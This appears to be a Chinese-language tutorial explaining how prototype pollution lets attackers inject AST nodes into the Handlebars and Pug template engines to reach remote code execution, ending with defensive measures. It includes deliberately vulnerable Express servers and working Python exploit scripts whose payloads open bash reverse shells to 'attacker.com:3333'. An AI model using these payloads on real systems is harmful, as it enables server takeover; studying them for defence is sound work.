AST注入
字数 1032 2025-08-04 00:46:02
AST注入:从原型污染到RCE攻击技术详解
一、AST注入概述
AST(抽象语法树)注入是一种新型的攻击技术,通过操纵JavaScript模板引擎在解析和编译过程中使用的AST结构,实现从原型污染到远程代码执行(RCE)的攻击路径。
关键概念:
- AST:抽象语法树,是源代码语法结构的树状表示
- 原型污染:通过修改JavaScript对象的原型链来影响所有继承对象的行为
- 模板引擎:将模板和数据结合生成最终输出的工具(如Handlebars、Pug等)
二、攻击原理
基本攻击流程:
- 发现原型污染漏洞
- 通过原型污染注入恶意AST节点
- 影响模板引擎的解析/编译过程
- 实现任意代码执行
核心机制:
- 模板引擎通常将模板转换为AST,然后编译为可执行函数
- 如果输入验证不严格,攻击者可以注入自定义AST节点
- 通过原型污染可以全局影响AST处理过程
三、Handlebars引擎攻击详解
1. 环境探测技术
const Handlebars = require('handlebars');
Object.prototype.pendingContent = `<script>alert(origin)</script>`;
const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);
console.log(template({"msg": "posix"}));
// 输出: <script>alert(origin)</script>Hello posix
2. 关键漏洞点分析
-
javascript-compiler.js中的
appendContent函数:appendContent: function appendContent(content) { if (this.pendingContent) { content = this.pendingContent + content; } else { this.pendingLocation = this.source.currentLocation; } this.pendingContent = content; } -
parser.js中的数字字面量处理:
case 36: this.$ = { type: 'NumberLiteral', value: Number(
\[[$0]), original: Number( \]
[\(0]), loc: yy.locInfo(this._\))
};
break;
### 3. 完整攻击利用
```javascript
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {"start": 0, "end": 0}
}];
const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
4. 实际漏洞利用示例
服务器端代码:
const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars = require('handlebars');
const app = express();
app.use(bodyParser.json());
app.get('/', function(req, res) {
var source = "<h1>It works!</h1>";
var template = Handlebars.compile(source);
res.end(template({}));
});
app.post('/vulnerable', function(req, res) {
let object = unflatten(req.body);
res.json(object);
});
app.listen(3000);
攻击脚本:
import requests
TARGET_URL = 'http://vulnerable-server.com:3000'
# 制造原型污染
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/attacker.com/3333 0>&1'`)"
}],
"loc": {"start": 0, "end": 0}
}]
})
# 触发执行
requests.get(TARGET_URL)
四、Pug引擎攻击详解
1. 环境探测技术
const pug = require('pug');
Object.prototype.block = {
"type": "Text",
"val": `<script>alert(origin)</script>`
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html);
// 输出: <h1>It works<script>alert(origin)</script></h1>
2. 关键漏洞点分析
- pug-code-gen/index.js中的调试代码处理:
if (debug && node.debug !== false && node.type !== 'Block') { if (node.line) { var js = ';pug_debug_line = ' + node.line; if (node.filename) js += ';pug_debug_filename = ' + stringify(node.filename); this.buf.push(js); } }
3. 完整攻击利用
const pug = require('pug');
Object.prototype.block = {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
};
const source = `h1= msg`;
var fn = pug.compile(source, {});
console.log(fn.toString());
4. 实际漏洞利用示例
服务器端代码:
const express = require('express');
const { unflatten } = require('flat');
const pug = require('pug');
const app = express();
app.use(require('body-parser').json());
app.get('/', function(req, res) {
const template = pug.compile(`h1= msg`);
res.end(template({msg: 'It works'}));
});
app.post('/vulnerable', function(req, res) {
let object = unflatten(req.body);
res.json(object);
});
app.listen(3000);
攻击脚本:
import requests
TARGET_URL = 'http://vulnerable-server.com:3000'
# 制造原型污染
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/attacker.com/3333 0>&1'`)"
}
})
# 触发执行
requests.get(TARGET_URL)
五、防御措施
-
输入验证:
- 严格验证所有用户输入
- 使用安全的JSON解析配置(禁用原型属性)
-
模板引擎安全:
- 使用最新版本的模板引擎
- 限制模板功能,使用沙箱环境
-
原型污染防护:
- 冻结敏感对象原型:
Object.freeze(Object.prototype) - 使用
Object.create(null)创建无原型对象
- 冻结敏感对象原型:
-
依赖管理:
- 定期更新依赖项
- 移除不必要的依赖
-
运行时保护:
- 使用CSP(内容安全策略)
- 实施适当的权限隔离
六、总结
AST注入是一种结合原型污染和模板引擎特性的新型攻击技术,影响广泛使用的模板引擎如Handlebars和Pug。这种攻击的关键在于:
- 通过原型污染影响全局AST处理
- 绕过模板引擎的输入验证机制
- 注入恶意AST节点实现代码执行
防御此类攻击需要多层次的安全措施,包括输入验证、依赖更新和运行时保护。由于模板引擎广泛用于现代Web应用,这种攻击技术的影响范围较大,开发人员应给予足够重视。